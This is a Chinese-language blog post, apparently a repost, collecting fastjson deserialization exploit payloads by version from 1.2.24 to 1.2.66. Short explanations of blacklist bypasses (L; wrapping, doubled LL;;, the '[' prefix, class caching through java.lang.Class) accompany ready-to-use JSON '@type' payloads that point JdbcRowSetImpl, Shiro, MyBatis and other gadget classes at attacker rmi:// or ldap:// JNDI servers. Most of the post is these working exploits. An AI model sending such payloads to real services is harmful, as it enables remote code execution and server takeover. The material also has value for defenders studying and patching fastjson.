文章最后更新时间为:2021 年 10 月 30 日 14:54:49 Loading... 来自:[https://www.jianshu.com/p/35b84eda9292][1] # **fastjson<=1.2.24** Fastjson1.2.24版本爆出了第一个反序列化漏洞。 exp: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true} # **fastjson<=1.2.41** 第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。 com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。 exp: {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true} autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) # **fastjson<=1.2.42** fastjson在1.2.42版本新增了校验机制。 if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(1)) * PRIME == 0x9195c07b5af5345L) { throw new JSONException("autoType is not support. " + typeName); } // 9195c07b5af5345 className = className.substring(1, className.length() - 1); } 如果输入类名的开头和结尾是L和;就将头和尾去掉,再进行黑名单验证。 还把黑名单的内容进行了加密,防止安全人员进行研究,增加了研究的门槛。 但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist 绕过方法,在类名外部嵌套2层L;。 原类名:com.sun.rowset.JdbcRowSetImpl 绕过: LLcom.sun.rowset.JdbcRowSetImpl;; exp: {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) # **fastjson<=1.2.43** fastjson在1.2.43中checkAutoType()函数增加判断开头为LL直接报错。 绕过方法:根据fastjson判断函数,[开头则提取类名,且后面字符字符为"["、"{"等,即可正常调用。 exp: {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true} autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) # **fastjson<=1.2.45** 前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。 使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单 由于在项目中使用的频率也较高,所以影响范围较大。 {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}} autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) # **fastjson<=1.2.47** 对版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。 loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制。 exp: { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://x.x.x.x:1098/jndi", "autoCommit": true } } # **fastjson<=1.2.62** 基于黑名单绕过 {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}"; # **fastjson<=1.2.66** 关于fastjson<=1.2.66网上相关的利用不多,收集到的几个exp,也是基于黑名单绕过。 exp: {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"} {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}} autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false) [1]: https://www.jianshu.com/p/35b84eda9292 Last modification:October 30, 2021 © Allow specification reprint Support Appreciate the author AliPayWeChat Like 0 如果觉得我的文章对你有用,请随意赞赏